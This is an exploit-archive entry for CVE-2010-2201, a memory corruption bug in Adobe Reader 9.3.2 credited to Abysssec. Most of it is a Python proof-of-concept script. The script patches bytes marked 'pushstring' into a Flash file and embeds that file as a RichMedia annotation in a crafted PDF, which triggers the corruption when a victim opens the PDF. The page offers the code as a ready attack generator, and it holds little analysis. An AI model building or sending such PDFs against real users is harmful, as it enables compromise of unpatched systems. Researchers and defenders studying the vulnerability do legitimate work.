Adobe Acrobat and Reader "pushstring" Memory Corruption

2010-09-12T00:00:00
ID 1337DAY-ID-14009
Type zdt
Reporter Abysssec
Modified 2010-09-12T00:00:00

Description

Exploit for windows platform in category local exploits

                                        
                                            =======================================================
Adobe Acrobat and Reader "pushstring" Memory Corruption
=======================================================

  Title             :  Adobe Acrobat and Reader "pushstring" Memory Corruption
  Version           :  Adobe Reader 9.3.2
  Analysis         :  http://www.abysssec.com
  Vendor            :  http://www.adobe.com
  Impact            :  Med/High
  Contact           :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           :  @abysssec
  CVE               :  CVE-2010-2201
  MOAUB Number      :  MOAUB-10
'''
 
import sys
 
class PDF:
      
    def __init__(self):
        self.xrefs = []
        self.eol = '\x0a'
        self.content = ''
        self.xrefs_offset = 0
         
    def header(self):
        self.content += '%PDF-1.6' + self.eol
         
    def obj(self, obj_num, data,flag):
        self.xrefs.append(len(self.content))
        self.content += '%d 0 obj' % obj_num
        if flag == 1:
            self.content += self.eol + '<< ' + data + ' >>' + self.eol
        else:
            self.content += self.eol + data + self.eol
        self.content += 'endobj' + self.eol
 
    def obj_SWFStream(self, obj_num, data, stream):
        self.xrefs.append(len(self.content))
        self.content += '%d 0 obj' % obj_num
        self.content += self.eol + '<< ' + data + '/Params << /Size %d >> /DL %d /Length %d' %(len(stream),len(stream),len(stream))
        self.content += ' >>' + self.eol
        self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol
        self.content += 'endobj' + self.eol
     
    def obj_Stream(self, obj_num, data, stream):
        self.xrefs.append(len(self.content))
        self.content += '%d 0 obj' % obj_num
        self.content += self.eol + '<< ' + data + '/Length %d' %len(stream)
        self.content += ' >>' + self.eol
        self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol
        self.content += 'endobj' + self.eol
         
    def ref(self, ref_num):
        return '%d 0 R' % ref_num
         
    def xref(self):
        self.xrefs_offset = len(self.content)
        self.content += 'xref' + self.eol
        self.content += '0 %d' % (len(self.xrefs) + 1)
        self.content += self.eol
        self.content += '0000000000 65535 f' + self.eol
        for i in self.xrefs:
            self.content += '%010d 00000 n' % i
            self.content += self.eol
     
    def trailer(self):
        self.content += 'trailer' + self.eol
        self.content += '<< /Size %d' % (len(self.xrefs) + 1)
        self.content += ' /Root ' + self.ref(1) + ' >> ' + self.eol
        self.content += 'startxref' + self.eol
        self.content += '%d' % self.xrefs_offset
        self.content += self.eol
        self.content += '%%EOF'
         
    def generate(self):
        return self.content
 
 
         
         
class POC:
 
    def getSWF(self):
        try:
            fdR = open('flash.swf', 'rb+')
            strTotal = fdR.read()      
            str1 = strTotal[:479]
             
            command = '\x2C\xE8\x88\xF0\xFF\x33'   #pushstring
             
            str2 = strTotal[485:]
             
            fdW= open('poc.swf', 'wb+')
            finalStr = str1+command+str2
            fdW.write(finalStr)
             
            fdR.close()
            return finalStr
             
        except IOError:
            print '[*] Error : An IO error has occurred'
         
 
def generate_pdf():
    poc = POC()
    swfFile = 'poc.swf'
    pdf = PDF()
    pdf.header()
    pdf.obj(1, '/MarkInfo<</Marked true>>/Type /Catalog/Pages ' + pdf.ref(2) ,1)
    pdf.obj(2, '/Count 1/Type/Pages/Kids[ '+pdf.ref(3)+' ]',1)
    pdf.obj(3, '/Annots [ '+pdf.ref(5) +' ]/Parent '+pdf.ref(2) + " /Type/Page"+' /Contents '+pdf.ref(4) ,1)
    pdf.obj_Stream(4, '','')
    pdf.obj(5, '/RichMediaSettings '+pdf.ref(6)+' /NM ( ' + swfFile + ' ) /Subtype /RichMedia /Type /Annot /RichMediaContent '+pdf.ref(7)+' /Rect [ 266 116 430 204 ]',1)
    pdf.obj(6, '/Subtype /Flash /Activation '+pdf.ref(8)+' /Type /RichMediaSettings /Deactivation '+pdf.ref(9),1) 
    pdf.obj(7, '/Type /RichMediaContent /Assets '+pdf.ref(10) +' /Configurations [ ' + pdf.ref(11) + ']',1)
    pdf.obj(8, '/Type /RichMediaActivation /Condition /PO ',1) 
    pdf.obj(9, '/Type /RichMediaDeactivation /Condition /XD ',1)   
    pdf.obj(10, '/Names [('+ swfFile +') ' + pdf.ref(12)+' ]',1)   
    pdf.obj(11, '/Subtype /Flash /Type /RichMediaConfiguration /Name (ElFlash) /Instances [ '+pdf.ref(13) +' ]',1) 
    pdf.obj(12, '/EF <</F '+pdf.ref(14) +' >> /Type /Filespec /F ('+ swfFile +')',1)   
    pdf.obj(13, '/Subype /Flash /Params '+pdf.ref(15) +' /Type /RichMediaInstance /Asset '+ pdf.ref(12) ,1)
    pdf.obj_SWFStream(14, ' /Type /EmbeddedFile  ',poc.getSWF() ) 
    pdf.obj(15, '/Binding /Background /Type /RichMediaParams /FlashVars () /Settings '+pdf.ref(16),1)
    pdf.obj_Stream(16, '<</Length 0 >> ','') 
     
     
    pdf.xref()
    pdf.trailer()
    return pdf.generate()
     
def main():
    if len(sys.argv) != 2:
        print 'Usage: python %s [output file name]' % sys.argv[0]
        sys.exit(0)
    file_name = sys.argv[1]
    if not file_name.endswith('.pdf'):
        file_name = file_name + '.pdf'
    try:
        fd = open(file_name, 'wb+')
        fd.write(generate_pdf())
        fd.close()
        print '[-] PDF file generated and written to %s' % file_name
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
if __name__ == '__main__':
    main()



#  0day.today [2018-04-08]  #